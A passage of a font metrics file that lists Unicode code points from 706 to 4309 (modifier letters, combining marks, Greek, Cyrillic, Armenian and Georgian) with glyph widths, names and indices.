U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 282 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 282 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 720 ; WX 369 ; N uni02D0 ; G 656
U 721 ; WX 369 ; N uni02D1 ; G 657
U 722 ; WX 366 ; N uni02D2 ; G 658
U 723 ; WX 366 ; N uni02D3 ; G 659
U 726 ; WX 392 ; N uni02D6 ; G 660
U 727 ; WX 392 ; N uni02D7 ; G 661
U 728 ; WX 500 ; N breve ; G 662
U 729 ; WX 500 ; N dotaccent ; G 663
U 730 ; WX 500 ; N ring ; G 664
U 731 ; WX 500 ; N ogonek ; G 665
U 732 ; WX 500 ; N tilde ; G 666
U 733 ; WX 500 ; N hungarumlaut ; G 667
U 734 ; WX 417 ; N uni02DE ; G 668
U 736 ; WX 378 ; N uni02E0 ; G 669
U 737 ; WX 292 ; N uni02E1 ; G 670
U 738 ; WX 395 ; N uni02E2 ; G 671
U 739 ; WX 475 ; N uni02E3 ; G 672
U 740 ; WX 313 ; N uni02E4 ; G 673
U 741 ; WX 500 ; N uni02E5 ; G 674
U 742 ; WX 500 ; N uni02E6 ; G 675
U 743 ; WX 500 ; N uni02E7 ; G 676
U 744 ; WX 500 ; N uni02E8 ; G 677
U 745 ; WX 500 ; N uni02E9 ; G 678
U 748 ; WX 500 ; N uni02EC ; G 679
U 750 ; WX 553 ; N uni02EE ; G 680
U 751 ; WX 500 ; N uni02EF ; G 681
U 752 ; WX 500 ; N uni02F0 ; G 682
U 755 ; WX 500 ; N uni02F3 ; G 683
U 759 ; WX 500 ; N uni02F7 ; G 684
U 768 ; WX 0 ; N gravecomb ; G 685
U 769 ; WX 0 ; N acutecomb ; G 686
U 770 ; WX 0 ; N uni0302 ; G 687
U 771 ; WX 0 ; N tildecomb ; G 688
U 772 ; WX 0 ; N uni0304 ; G 689
U 773 ; WX 0 ; N uni0305 ; G 690
U 774 ; WX 0 ; N uni0306 ; G 691
U 775 ; WX 0 ; N uni0307 ; G 692
U 776 ; WX 0 ; N uni0308 ; G 693
U 777 ; WX 0 ; N hookabovecomb ; G 694
U 778 ; WX 0 ; N uni030A ; G 695
U 779 ; WX 0 ; N uni030B ; G 696
U 780 ; WX 0 ; N uni030C ; G 697
U 781 ; WX 0 ; N uni030D ; G 698
U 782 ; WX 0 ; N uni030E ; G 699
U 783 ; WX 0 ; N uni030F ; G 700
U 784 ; WX 0 ; N uni0310 ; G 701
U 785 ; WX 0 ; N uni0311 ; G 702
U 786 ; WX 0 ; N uni0312 ; G 703
U 787 ; WX 0 ; N uni0313 ; G 704
U 788 ; WX 0 ; N uni0314 ; G 705
U 789 ; WX 0 ; N uni0315 ; G 706
U 790 ; WX 0 ; N uni0316 ; G 707
U 791 ; WX 0 ; N uni0317 ; G 708
U 792 ; WX 0 ; N uni0318 ; G 709
U 793 ; WX 0 ; N uni0319 ; G 710
U 794 ; WX 0 ; N uni031A ; G 711
U 795 ; WX 0 ; N uni031B ; G 712
U 796 ; WX 0 ; N uni031C ; G 713
U 797 ; WX 0 ; N uni031D ; G 714
U 798 ; WX 0 ; N uni031E ; G 715
U 799 ; WX 0 ; N uni031F ; G 716
U 800 ; WX 0 ; N uni0320 ; G 717
U 801 ; WX 0 ; N uni0321 ; G 718
U 802 ; WX 0 ; N uni0322 ; G 719
U 803 ; WX 0 ; N dotbelowcomb ; G 720
U 804 ; WX 0 ; N uni0324 ; G 721
U 805 ; WX 0 ; N uni0325 ; G 722
U 806 ; WX 0 ; N uni0326 ; G 723
U 807 ; WX 0 ; N uni0327 ; G 724
U 808 ; WX 0 ; N uni0328 ; G 725
U 809 ; WX 0 ; N uni0329 ; G 726
U 810 ; WX 0 ; N uni032A ; G 727
U 811 ; WX 0 ; N uni032B ; G 728
U 812 ; WX 0 ; N uni032C ; G 729
U 813 ; WX 0 ; N uni032D ; G 730
U 814 ; WX 0 ; N uni032E ; G 731
U 815 ; WX 0 ; N uni032F ; G 732
U 816 ; WX 0 ; N uni0330 ; G 733
U 817 ; WX 0 ; N uni0331 ; G 734
U 818 ; WX 0 ; N uni0332 ; G 735
U 819 ; WX 0 ; N uni0333 ; G 736
U 820 ; WX 0 ; N uni0334 ; G 737
U 821 ; WX 0 ; N uni0335 ; G 738
U 822 ; WX 0 ; N uni0336 ; G 739
U 823 ; WX 0 ; N uni0337 ; G 740
U 824 ; WX 0 ; N uni0338 ; G 741
U 825 ; WX 0 ; N uni0339 ; G 742
U 826 ; WX 0 ; N uni033A ; G 743
U 827 ; WX 0 ; N uni033B ; G 744
U 828 ; WX 0 ; N uni033C ; G 745
U 829 ; WX 0 ; N uni033D ; G 746
U 830 ; WX 0 ; N uni033E ; G 747
U 831 ; WX 0 ; N uni033F ; G 748
U 835 ; WX 0 ; N uni0343 ; G 749
U 847 ; WX 0 ; N uni034F ; G 750
U 856 ; WX 0 ; N uni0358 ; G 751
U 864 ; WX 0 ; N uni0360 ; G 752
U 865 ; WX 0 ; N uni0361 ; G 753
U 880 ; WX 779 ; N uni0370 ; G 754
U 881 ; WX 576 ; N uni0371 ; G 755
U 882 ; WX 803 ; N uni0372 ; G 756
U 883 ; WX 777 ; N uni0373 ; G 757
U 884 ; WX 302 ; N uni0374 ; G 758
U 885 ; WX 302 ; N uni0375 ; G 759
U 886 ; WX 963 ; N uni0376 ; G 760
U 887 ; WX 737 ; N uni0377 ; G 761
U 890 ; WX 500 ; N uni037A ; G 762
U 891 ; WX 609 ; N uni037B ; G 763
U 892 ; WX 609 ; N uni037C ; G 764
U 893 ; WX 609 ; N uni037D ; G 765
U 894 ; WX 369 ; N uni037E ; G 766
U 895 ; WX 473 ; N uni037F ; G 767
U 900 ; WX 500 ; N tonos ; G 768
U 901 ; WX 500 ; N dieresistonos ; G 769
U 902 ; WX 776 ; N Alphatonos ; G 770
U 903 ; WX 348 ; N anoteleia ; G 771
U 904 ; WX 947 ; N Epsilontonos ; G 772
U 905 ; WX 1118 ; N Etatonos ; G 773
U 906 ; WX 662 ; N Iotatonos ; G 774
U 908 ; WX 887 ; N Omicrontonos ; G 775
U 910 ; WX 953 ; N Upsilontonos ; G 776
U 911 ; WX 911 ; N Omegatonos ; G 777
U 912 ; WX 484 ; N iotadieresistonos ; G 778
U 913 ; WX 776 ; N Alpha ; G 779
U 914 ; WX 845 ; N Beta ; G 780
U 915 ; WX 710 ; N Gamma ; G 781
U 916 ; WX 776 ; N uni0394 ; G 782
U 917 ; WX 762 ; N Epsilon ; G 783
U 918 ; WX 730 ; N Zeta ; G 784
U 919 ; WX 945 ; N Eta ; G 785
U 920 ; WX 871 ; N Theta ; G 786
U 921 ; WX 468 ; N Iota ; G 787
U 922 ; WX 869 ; N Kappa ; G 788
U 923 ; WX 776 ; N Lambda ; G 789
U 924 ; WX 1107 ; N Mu ; G 790
U 925 ; WX 914 ; N Nu ; G 791
U 926 ; WX 704 ; N Xi ; G 792
U 927 ; WX 871 ; N Omicron ; G 793
U 928 ; WX 944 ; N Pi ; G 794
U 929 ; WX 752 ; N Rho ; G 795
U 931 ; WX 707 ; N Sigma ; G 796
U 932 ; WX 744 ; N Tau ; G 797
U 933 ; WX 714 ; N Upsilon ; G 798
U 934 ; WX 871 ; N Phi ; G 799
U 935 ; WX 776 ; N Chi ; G 800
U 936 ; WX 913 ; N Psi ; G 801
U 937 ; WX 890 ; N Omega ; G 802
U 938 ; WX 468 ; N Iotadieresis ; G 803
U 939 ; WX 714 ; N Upsilondieresis ; G 804
U 940 ; WX 770 ; N alphatonos ; G 805
U 941 ; WX 608 ; N epsilontonos ; G 806
U 942 ; WX 727 ; N etatonos ; G 807
U 943 ; WX 484 ; N iotatonos ; G 808
U 944 ; WX 694 ; N upsilondieresistonos ; G 809
U 945 ; WX 770 ; N alpha ; G 810
U 946 ; WX 664 ; N beta ; G 811
U 947 ; WX 660 ; N gamma ; G 812
U 948 ; WX 667 ; N delta ; G 813
U 949 ; WX 608 ; N epsilon ; G 814
U 950 ; WX 592 ; N zeta ; G 815
U 951 ; WX 727 ; N eta ; G 816
U 952 ; WX 667 ; N theta ; G 817
U 953 ; WX 484 ; N iota ; G 818
U 954 ; WX 750 ; N kappa ; G 819
U 955 ; WX 701 ; N lambda ; G 820
U 956 ; WX 732 ; N uni03BC ; G 821
U 957 ; WX 694 ; N nu ; G 822
U 958 ; WX 592 ; N xi ; G 823
U 959 ; WX 667 ; N omicron ; G 824
U 960 ; WX 732 ; N pi ; G 825
U 961 ; WX 665 ; N rho ; G 826
U 962 ; WX 609 ; N sigma1 ; G 827
U 963 ; WX 737 ; N sigma ; G 828
U 964 ; WX 673 ; N tau ; G 829
U 965 ; WX 694 ; N upsilon ; G 830
U 966 ; WX 905 ; N phi ; G 831
U 967 ; WX 658 ; N chi ; G 832
U 968 ; WX 941 ; N psi ; G 833
U 969 ; WX 952 ; N omega ; G 834
U 970 ; WX 484 ; N iotadieresis ; G 835
U 971 ; WX 694 ; N upsilondieresis ; G 836
U 972 ; WX 667 ; N omicrontonos ; G 837
U 973 ; WX 694 ; N upsilontonos ; G 838
U 974 ; WX 952 ; N omegatonos ; G 839
U 975 ; WX 869 ; N uni03CF ; G 840
U 976 ; WX 667 ; N uni03D0 ; G 841
U 977 ; WX 849 ; N theta1 ; G 842
U 978 ; WX 764 ; N Upsilon1 ; G 843
U 979 ; WX 969 ; N uni03D3 ; G 844
U 980 ; WX 764 ; N uni03D4 ; G 845
U 981 ; WX 941 ; N phi1 ; G 846
U 982 ; WX 952 ; N omega1 ; G 847
U 983 ; WX 655 ; N uni03D7 ; G 848
U 984 ; WX 871 ; N uni03D8 ; G 849
U 985 ; WX 667 ; N uni03D9 ; G 850
U 986 ; WX 796 ; N uni03DA ; G 851
U 987 ; WX 609 ; N uni03DB ; G 852
U 988 ; WX 710 ; N uni03DC ; G 853
U 989 ; WX 527 ; N uni03DD ; G 854
U 990 ; WX 590 ; N uni03DE ; G 855
U 991 ; WX 660 ; N uni03DF ; G 856
U 992 ; WX 796 ; N uni03E0 ; G 857
U 993 ; WX 667 ; N uni03E1 ; G 858
U 1008 ; WX 655 ; N uni03F0 ; G 859
U 1009 ; WX 665 ; N uni03F1 ; G 860
U 1010 ; WX 609 ; N uni03F2 ; G 861
U 1011 ; WX 362 ; N uni03F3 ; G 862
U 1012 ; WX 871 ; N uni03F4 ; G 863
U 1013 ; WX 609 ; N uni03F5 ; G 864
U 1014 ; WX 609 ; N uni03F6 ; G 865
U 1015 ; WX 757 ; N uni03F7 ; G 866
U 1016 ; WX 699 ; N uni03F8 ; G 867
U 1017 ; WX 796 ; N uni03F9 ; G 868
U 1018 ; WX 1107 ; N uni03FA ; G 869
U 1019 ; WX 860 ; N uni03FB ; G 870
U 1020 ; WX 692 ; N uni03FC ; G 871
U 1021 ; WX 796 ; N uni03FD ; G 872
U 1022 ; WX 796 ; N uni03FE ; G 873
U 1023 ; WX 796 ; N uni03FF ; G 874
U 1024 ; WX 762 ; N uni0400 ; G 875
U 1025 ; WX 762 ; N uni0401 ; G 876
U 1026 ; WX 901 ; N uni0402 ; G 877
U 1027 ; WX 690 ; N uni0403 ; G 878
U 1028 ; WX 795 ; N uni0404 ; G 879
U 1029 ; WX 722 ; N uni0405 ; G 880
U 1030 ; WX 468 ; N uni0406 ; G 881
U 1031 ; WX 468 ; N uni0407 ; G 882
U 1032 ; WX 473 ; N uni0408 ; G 883
U 1033 ; WX 1202 ; N uni0409 ; G 884
U 1034 ; WX 1262 ; N uni040A ; G 885
U 1035 ; WX 963 ; N uni040B ; G 886
U 1036 ; WX 910 ; N uni040C ; G 887
U 1037 ; WX 945 ; N uni040D ; G 888
U 1038 ; WX 812 ; N uni040E ; G 889
U 1039 ; WX 945 ; N uni040F ; G 890
U 1040 ; WX 814 ; N uni0410 ; G 891
U 1041 ; WX 854 ; N uni0411 ; G 892
U 1042 ; WX 845 ; N uni0412 ; G 893
U 1043 ; WX 690 ; N uni0413 ; G 894
U 1044 ; WX 889 ; N uni0414 ; G 895
U 1045 ; WX 762 ; N uni0415 ; G 896
U 1046 ; WX 1312 ; N uni0416 ; G 897
U 1047 ; WX 721 ; N uni0417 ; G 898
U 1048 ; WX 945 ; N uni0418 ; G 899
U 1049 ; WX 945 ; N uni0419 ; G 900
U 1050 ; WX 910 ; N uni041A ; G 901
U 1051 ; WX 884 ; N uni041B ; G 902
U 1052 ; WX 1107 ; N uni041C ; G 903
U 1053 ; WX 945 ; N uni041D ; G 904
U 1054 ; WX 871 ; N uni041E ; G 905
U 1055 ; WX 944 ; N uni041F ; G 906
U 1056 ; WX 752 ; N uni0420 ; G 907
U 1057 ; WX 796 ; N uni0421 ; G 908
U 1058 ; WX 744 ; N uni0422 ; G 909
U 1059 ; WX 812 ; N uni0423 ; G 910
U 1060 ; WX 949 ; N uni0424 ; G 911
U 1061 ; WX 776 ; N uni0425 ; G 912
U 1062 ; WX 966 ; N uni0426 ; G 913
U 1063 ; WX 913 ; N uni0427 ; G 914
U 1064 ; WX 1268 ; N uni0428 ; G 915
U 1065 ; WX 1293 ; N uni0429 ; G 916
U 1066 ; WX 957 ; N uni042A ; G 917
U 1067 ; WX 1202 ; N uni042B ; G 918
U 1068 ; WX 825 ; N uni042C ; G 919
U 1069 ; WX 795 ; N uni042D ; G 920
U 1070 ; WX 1287 ; N uni042E ; G 921
U 1071 ; WX 882 ; N uni042F ; G 922
U 1072 ; WX 648 ; N uni0430 ; G 923
U 1073 ; WX 667 ; N uni0431 ; G 924
U 1074 ; WX 695 ; N uni0432 ; G 925
U 1075 ; WX 613 ; N uni0433 ; G 926
U 1076 ; WX 667 ; N uni0434 ; G 927
U 1077 ; WX 636 ; N uni0435 ; G 928
U 1078 ; WX 1010 ; N uni0436 ; G 929
U 1079 ; WX 638 ; N uni0437 ; G 930
U 1080 ; WX 742 ; N uni0438 ; G 931
U 1081 ; WX 742 ; N uni0439 ; G 932
U 1082 ; WX 722 ; N uni043A ; G 933
U 1083 ; WX 705 ; N uni043B ; G 934
U 1084 ; WX 869 ; N uni043C ; G 935
U 1085 ; WX 732 ; N uni043D ; G 936
U 1086 ; WX 667 ; N uni043E ; G 937
U 1087 ; WX 732 ; N uni043F ; G 938
U 1088 ; WX 699 ; N uni0440 ; G 939
U 1089 ; WX 609 ; N uni0441 ; G 940
U 1090 ; WX 620 ; N uni0442 ; G 941
U 1091 ; WX 640 ; N uni0443 ; G 942
U 1092 ; WX 902 ; N uni0444 ; G 943
U 1093 ; WX 596 ; N uni0445 ; G 944
U 1094 ; WX 739 ; N uni0446 ; G 945
U 1095 ; WX 732 ; N uni0447 ; G 946
U 1096 ; WX 1075 ; N uni0448 ; G 947
U 1097 ; WX 1082 ; N uni0449 ; G 948
U 1098 ; WX 767 ; N uni044A ; G 949
U 1099 ; WX 1002 ; N uni044B ; G 950
U 1100 ; WX 679 ; N uni044C ; G 951
U 1101 ; WX 609 ; N uni044D ; G 952
U 1102 ; WX 1025 ; N uni044E ; G 953
U 1103 ; WX 739 ; N uni044F ; G 954
U 1104 ; WX 636 ; N uni0450 ; G 955
U 1105 ; WX 636 ; N uni0451 ; G 956
U 1106 ; WX 719 ; N uni0452 ; G 957
U 1107 ; WX 613 ; N uni0453 ; G 958
U 1108 ; WX 609 ; N uni0454 ; G 959
U 1109 ; WX 563 ; N uni0455 ; G 960
U 1110 ; WX 380 ; N uni0456 ; G 961
U 1111 ; WX 380 ; N uni0457 ; G 962
U 1112 ; WX 362 ; N uni0458 ; G 963
U 1113 ; WX 988 ; N uni0459 ; G 964
U 1114 ; WX 1015 ; N uni045A ; G 965
U 1115 ; WX 727 ; N uni045B ; G 966
U 1116 ; WX 722 ; N uni045C ; G 967
U 1117 ; WX 742 ; N uni045D ; G 968
U 1118 ; WX 640 ; N uni045E ; G 969
U 1119 ; WX 732 ; N uni045F ; G 970
U 1122 ; WX 880 ; N uni0462 ; G 971
U 1123 ; WX 703 ; N uni0463 ; G 972
U 1124 ; WX 1195 ; N uni0464 ; G 973
U 1125 ; WX 963 ; N uni0465 ; G 974
U 1130 ; WX 1312 ; N uni046A ; G 975
U 1131 ; WX 1010 ; N uni046B ; G 976
U 1132 ; WX 1630 ; N uni046C ; G 977
U 1133 ; WX 1297 ; N uni046D ; G 978
U 1136 ; WX 1096 ; N uni0470 ; G 979
U 1137 ; WX 1105 ; N uni0471 ; G 980
U 1138 ; WX 871 ; N uni0472 ; G 981
U 1139 ; WX 652 ; N uni0473 ; G 982
U 1140 ; WX 916 ; N uni0474 ; G 983
U 1141 ; WX 749 ; N uni0475 ; G 984
U 1142 ; WX 916 ; N uni0476 ; G 985
U 1143 ; WX 749 ; N uni0477 ; G 986
U 1164 ; WX 846 ; N uni048C ; G 987
U 1165 ; WX 673 ; N uni048D ; G 988
U 1168 ; WX 700 ; N uni0490 ; G 989
U 1169 ; WX 618 ; N uni0491 ; G 990
U 1170 ; WX 690 ; N uni0492 ; G 991
U 1171 ; WX 613 ; N uni0493 ; G 992
U 1172 ; WX 868 ; N uni0494 ; G 993
U 1173 ; WX 716 ; N uni0495 ; G 994
U 1174 ; WX 1312 ; N uni0496 ; G 995
U 1175 ; WX 1010 ; N uni0497 ; G 996
U 1176 ; WX 721 ; N uni0498 ; G 997
U 1177 ; WX 638 ; N uni0499 ; G 998
U 1178 ; WX 947 ; N uni049A ; G 999
U 1179 ; WX 744 ; N uni049B ; G 1000
U 1182 ; WX 910 ; N uni049E ; G 1001
U 1183 ; WX 722 ; N uni049F ; G 1002
U 1184 ; WX 1041 ; N uni04A0 ; G 1003
U 1185 ; WX 827 ; N uni04A1 ; G 1004
U 1186 ; WX 966 ; N uni04A2 ; G 1005
U 1187 ; WX 739 ; N uni04A3 ; G 1006
U 1188 ; WX 1167 ; N uni04A4 ; G 1007
U 1189 ; WX 956 ; N uni04A5 ; G 1008
U 1190 ; WX 1345 ; N uni04A6 ; G 1009
U 1191 ; WX 1059 ; N uni04A7 ; G 1010
U 1194 ; WX 796 ; N uni04AA ; G 1011
U 1195 ; WX 609 ; N uni04AB ; G 1012
U 1196 ; WX 744 ; N uni04AC ; G 1013
U 1197 ; WX 620 ; N uni04AD ; G 1014
U 1198 ; WX 714 ; N uni04AE ; G 1015
U 1199 ; WX 581 ; N uni04AF ; G 1016
U 1200 ; WX 714 ; N uni04B0 ; G 1017
U 1201 ; WX 581 ; N uni04B1 ; G 1018
U 1202 ; WX 866 ; N uni04B2 ; G 1019
U 1203 ; WX 649 ; N uni04B3 ; G 1020
U 1204 ; WX 1022 ; N uni04B4 ; G 1021
U 1205 ; WX 807 ; N uni04B5 ; G 1022
U 1206 ; WX 928 ; N uni04B6 ; G 1023
U 1207 ; WX 739 ; N uni04B7 ; G 1024
U 1210 ; WX 910 ; N uni04BA ; G 1025
U 1211 ; WX 727 ; N uni04BB ; G 1026
U 1216 ; WX 468 ; N uni04C0 ; G 1027
U 1217 ; WX 1312 ; N uni04C1 ; G 1028
U 1218 ; WX 1010 ; N uni04C2 ; G 1029
U 1219 ; WX 869 ; N uni04C3 ; G 1030
U 1220 ; WX 693 ; N uni04C4 ; G 1031
U 1223 ; WX 945 ; N uni04C7 ; G 1032
U 1224 ; WX 732 ; N uni04C8 ; G 1033
U 1227 ; WX 913 ; N uni04CB ; G 1034
U 1228 ; WX 732 ; N uni04CC ; G 1035
U 1231 ; WX 380 ; N uni04CF ; G 1036
U 1232 ; WX 814 ; N uni04D0 ; G 1037
U 1233 ; WX 648 ; N uni04D1 ; G 1038
U 1234 ; WX 814 ; N uni04D2 ; G 1039
U 1235 ; WX 648 ; N uni04D3 ; G 1040
U 1236 ; WX 1034 ; N uni04D4 ; G 1041
U 1237 ; WX 975 ; N uni04D5 ; G 1042
U 1238 ; WX 762 ; N uni04D6 ; G 1043
U 1239 ; WX 636 ; N uni04D7 ; G 1044
U 1240 ; WX 871 ; N uni04D8 ; G 1045
U 1241 ; WX 636 ; N uni04D9 ; G 1046
U 1242 ; WX 871 ; N uni04DA ; G 1047
U 1243 ; WX 636 ; N uni04DB ; G 1048
U 1244 ; WX 1312 ; N uni04DC ; G 1049
U 1245 ; WX 1010 ; N uni04DD ; G 1050
U 1246 ; WX 721 ; N uni04DE ; G 1051
U 1247 ; WX 638 ; N uni04DF ; G 1052
U 1248 ; WX 657 ; N uni04E0 ; G 1053
U 1249 ; WX 568 ; N uni04E1 ; G 1054
U 1250 ; WX 945 ; N uni04E2 ; G 1055
U 1251 ; WX 742 ; N uni04E3 ; G 1056
U 1252 ; WX 945 ; N uni04E4 ; G 1057
U 1253 ; WX 742 ; N uni04E5 ; G 1058
U 1254 ; WX 871 ; N uni04E6 ; G 1059
U 1255 ; WX 667 ; N uni04E7 ; G 1060
U 1256 ; WX 871 ; N uni04E8 ; G 1061
U 1257 ; WX 667 ; N uni04E9 ; G 1062
U 1258 ; WX 871 ; N uni04EA ; G 1063
U 1259 ; WX 667 ; N uni04EB ; G 1064
U 1260 ; WX 795 ; N uni04EC ; G 1065
U 1261 ; WX 609 ; N uni04ED ; G 1066
U 1262 ; WX 812 ; N uni04EE ; G 1067
U 1263 ; WX 640 ; N uni04EF ; G 1068
U 1264 ; WX 812 ; N uni04F0 ; G 1069
U 1265 ; WX 640 ; N uni04F1 ; G 1070
U 1266 ; WX 812 ; N uni04F2 ; G 1071
U 1267 ; WX 640 ; N uni04F3 ; G 1072
U 1268 ; WX 913 ; N uni04F4 ; G 1073
U 1269 ; WX 732 ; N uni04F5 ; G 1074
U 1270 ; WX 690 ; N uni04F6 ; G 1075
U 1271 ; WX 613 ; N uni04F7 ; G 1076
U 1272 ; WX 1202 ; N uni04F8 ; G 1077
U 1273 ; WX 1002 ; N uni04F9 ; G 1078
U 1296 ; WX 721 ; N uni0510 ; G 1079
U 1297 ; WX 638 ; N uni0511 ; G 1080
U 1298 ; WX 884 ; N uni0512 ; G 1081
U 1299 ; WX 705 ; N uni0513 ; G 1082
U 1300 ; WX 1248 ; N uni0514 ; G 1083
U 1301 ; WX 945 ; N uni0515 ; G 1084
U 1306 ; WX 820 ; N uni051A ; G 1085
U 1307 ; WX 640 ; N uni051B ; G 1086
U 1308 ; WX 1028 ; N uni051C ; G 1087
U 1309 ; WX 856 ; N uni051D ; G 1088
U 1329 ; WX 942 ; N uni0531 ; G 1089
U 1330 ; WX 832 ; N uni0532 ; G 1090
U 1331 ; WX 894 ; N uni0533 ; G 1091
U 1332 ; WX 909 ; N uni0534 ; G 1092
U 1333 ; WX 822 ; N uni0535 ; G 1093
U 1334 ; WX 821 ; N uni0536 ; G 1094
U 1335 ; WX 747 ; N uni0537 ; G 1095
U 1336 ; WX 832 ; N uni0538 ; G 1096
U 1337 ; WX 1125 ; N uni0539 ; G 1097
U 1338 ; WX 894 ; N uni053A ; G 1098
U 1339 ; WX 803 ; N uni053B ; G 1099
U 1340 ; WX 722 ; N uni053C ; G 1100
U 1341 ; WX 1188 ; N uni053D ; G 1101
U 1342 ; WX 887 ; N uni053E ; G 1102
U 1343 ; WX 842 ; N uni053F ; G 1103
U 1344 ; WX 737 ; N uni0540 ; G 1104
U 1345 ; WX 863 ; N uni0541 ; G 1105
U 1346 ; WX 918 ; N uni0542 ; G 1106
U 1347 ; WX 851 ; N uni0543 ; G 1107
U 1348 ; WX 977 ; N uni0544 ; G 1108
U 1349 ; WX 833 ; N uni0545 ; G 1109
U 1350 ; WX 914 ; N uni0546 ; G 1110
U 1351 ; WX 843 ; N uni0547 ; G 1111
U 1352 ; WX 871 ; N uni0548 ; G 1112
U 1353 ; WX 818 ; N uni0549 ; G 1113
U 1354 ; WX 1034 ; N uni054A ; G 1114
U 1355 ; WX 846 ; N uni054B ; G 1115
U 1356 ; WX 964 ; N uni054C ; G 1116
U 1357 ; WX 871 ; N uni054D ; G 1117
U 1358 ; WX 914 ; N uni054E ; G 1118
U 1359 ; WX 808 ; N uni054F ; G 1119
U 1360 ; WX 808 ; N uni0550 ; G 1120
U 1361 ; WX 836 ; N uni0551 ; G 1121
U 1362 ; WX 710 ; N uni0552 ; G 1122
U 1363 ; WX 955 ; N uni0553 ; G 1123
U 1364 ; WX 891 ; N uni0554 ; G 1124
U 1365 ; WX 871 ; N uni0555 ; G 1125
U 1366 ; WX 963 ; N uni0556 ; G 1126
U 1369 ; WX 307 ; N uni0559 ; G 1127
U 1370 ; WX 264 ; N uni055A ; G 1128
U 1371 ; WX 293 ; N uni055B ; G 1129
U 1372 ; WX 391 ; N uni055C ; G 1130
U 1373 ; WX 323 ; N uni055D ; G 1131
U 1374 ; WX 439 ; N uni055E ; G 1132
U 1375 ; WX 500 ; N uni055F ; G 1133
U 1377 ; WX 1055 ; N uni0561 ; G 1134
U 1378 ; WX 695 ; N uni0562 ; G 1135
U 1379 ; WX 776 ; N uni0563 ; G 1136
U 1380 ; WX 801 ; N uni0564 ; G 1137
U 1381 ; WX 729 ; N uni0565 ; G 1138
U 1382 ; WX 742 ; N uni0566 ; G 1139
U 1383 ; WX 599 ; N uni0567 ; G 1140
U 1384 ; WX 733 ; N uni0568 ; G 1141
U 1385 ; WX 909 ; N uni0569 ; G 1142
U 1386 ; WX 768 ; N uni056A ; G 1143
U 1387 ; WX 724 ; N uni056B ; G 1144
U 1388 ; WX 398 ; N uni056C ; G 1145
U 1389 ; WX 1087 ; N uni056D ; G 1146
U 1390 ; WX 695 ; N uni056E ; G 1147
U 1391 ; WX 719 ; N uni056F ; G 1148
U 1392 ; WX 737 ; N uni0570 ; G 1149
U 1393 ; WX 684 ; N uni0571 ; G 1150
U 1394 ; WX 738 ; N uni0572 ; G 1151
U 1395 ; WX 703 ; N uni0573 ; G 1152
U 1396 ; WX 724 ; N uni0574 ; G 1153
U 1397 ; WX 359 ; N uni0575 ; G 1154
U 1398 ; WX 719 ; N uni0576 ; G 1155
U 1399 ; WX 496 ; N uni0577 ; G 1156
U 1400 ; WX 738 ; N uni0578 ; G 1157
U 1401 ; WX 428 ; N uni0579 ; G 1158
U 1402 ; WX 1059 ; N uni057A ; G 1159
U 1403 ; WX 668 ; N uni057B ; G 1160
U 1404 ; WX 744 ; N uni057C ; G 1161
U 1405 ; WX 724 ; N uni057D ; G 1162
U 1406 ; WX 724 ; N uni057E ; G 1163
U 1407 ; WX 1040 ; N uni057F ; G 1164
U 1408 ; WX 724 ; N uni0580 ; G 1165
U 1409 ; WX 713 ; N uni0581 ; G 1166
U 1410 ; WX 493 ; N uni0582 ; G 1167
U 1411 ; WX 1040 ; N uni0583 ; G 1168
U 1412 ; WX 734 ; N uni0584 ; G 1169
U 1413 ; WX 693 ; N uni0585 ; G 1170
U 1414 ; WX 956 ; N uni0586 ; G 1171
U 1415 ; WX 833 ; N uni0587 ; G 1172
U 1417 ; WX 340 ; N uni0589 ; G 1173
U 1418 ; WX 388 ; N uni058A ; G 1174
U 3647 ; WX 696 ; N uni0E3F ; G 1175
U 4256 ; WX 755 ; N uni10A0 ; G 1176
U 4257 ; WX 936 ; N uni10A1 ; G 1177
U 4258 ; WX 866 ; N uni10A2 ; G 1178
U 4259 ; WX 874 ; N uni10A3 ; G 1179
U 4260 ; WX 781 ; N uni10A4 ; G 1180
U 4261 ; WX 1078 ; N uni10A5 ; G 1181
U 4262 ; WX 1014 ; N uni10A6 ; G 1182
U 4263 ; WX 1213 ; N uni10A7 ; G 1183
U 4264 ; WX 643 ; N uni10A8 ; G 1184
U 4265 ; WX 818 ; N uni10A9 ; G 1185
U 4266 ; WX 1051 ; N uni10AA ; G 1186
U 4267 ; WX 1051 ; N uni10AB ; G 1187
U 4268 ; WX 796 ; N uni10AC ; G 1188
U 4269 ; WX 1135 ; N uni10AD ; G 1189
U 4270 ; WX 969 ; N uni10AE ; G 1190
U 4271 ; WX 902 ; N uni10AF ; G 1191
U 4272 ; WX 1109 ; N uni10B0 ; G 1192
U 4273 ; WX 792 ; N uni10B1 ; G 1193
U 4274 ; WX 756 ; N uni10B2 ; G 1194
U 4275 ; WX 1076 ; N uni10B3 ; G 1195
U 4276 ; WX 976 ; N uni10B4 ; G 1196
U 4277 ; WX 1066 ; N uni10B5 ; G 1197
U 4278 ; WX 811 ; N uni10B6 ; G 1198
U 4279 ; WX 833 ; N uni10B7 ; G 1199
U 4280 ; WX 821 ; N uni10B8 ; G 1200
U 4281 ; WX 833 ; N uni10B9 ; G 1201
U 4282 ; WX 908 ; N uni10BA ; G 1202
U 4283 ; WX 1077 ; N uni10BB ; G 1203
U 4284 ; WX 769 ; N uni10BC ; G 1204
U 4285 ; WX 822 ; N uni10BD ; G 1205
U 4286 ; WX 813 ; N uni10BE ; G 1206
U 4287 ; WX 1111 ; N uni10BF ; G 1207
U 4288 ; WX 1123 ; N uni10C0 ; G 1208
U 4289 ; WX 802 ; N uni10C1 ; G 1209
U 4290 ; WX 892 ; N uni10C2 ; G 1210
U 4291 ; WX 802 ; N uni10C3 ; G 1211
U 4292 ; WX 880 ; N uni10C4 ; G 1212
U 4293 ; WX 1063 ; N uni10C5 ; G 1213
U 4304 ; WX 594 ; N uni10D0 ; G 1214
U 4305 ; WX 625 ; N uni10D1 ; G 1215
U 4306 ; WX 643 ; N uni10D2 ; G 1216
U 4307 ; WX 887 ; N uni10D3 ; G 1217
U 4308 ; WX 615 ; N uni10D4 ; G 1218
U 4309 ; WX 611 ; N uni10D5 ; G 1219
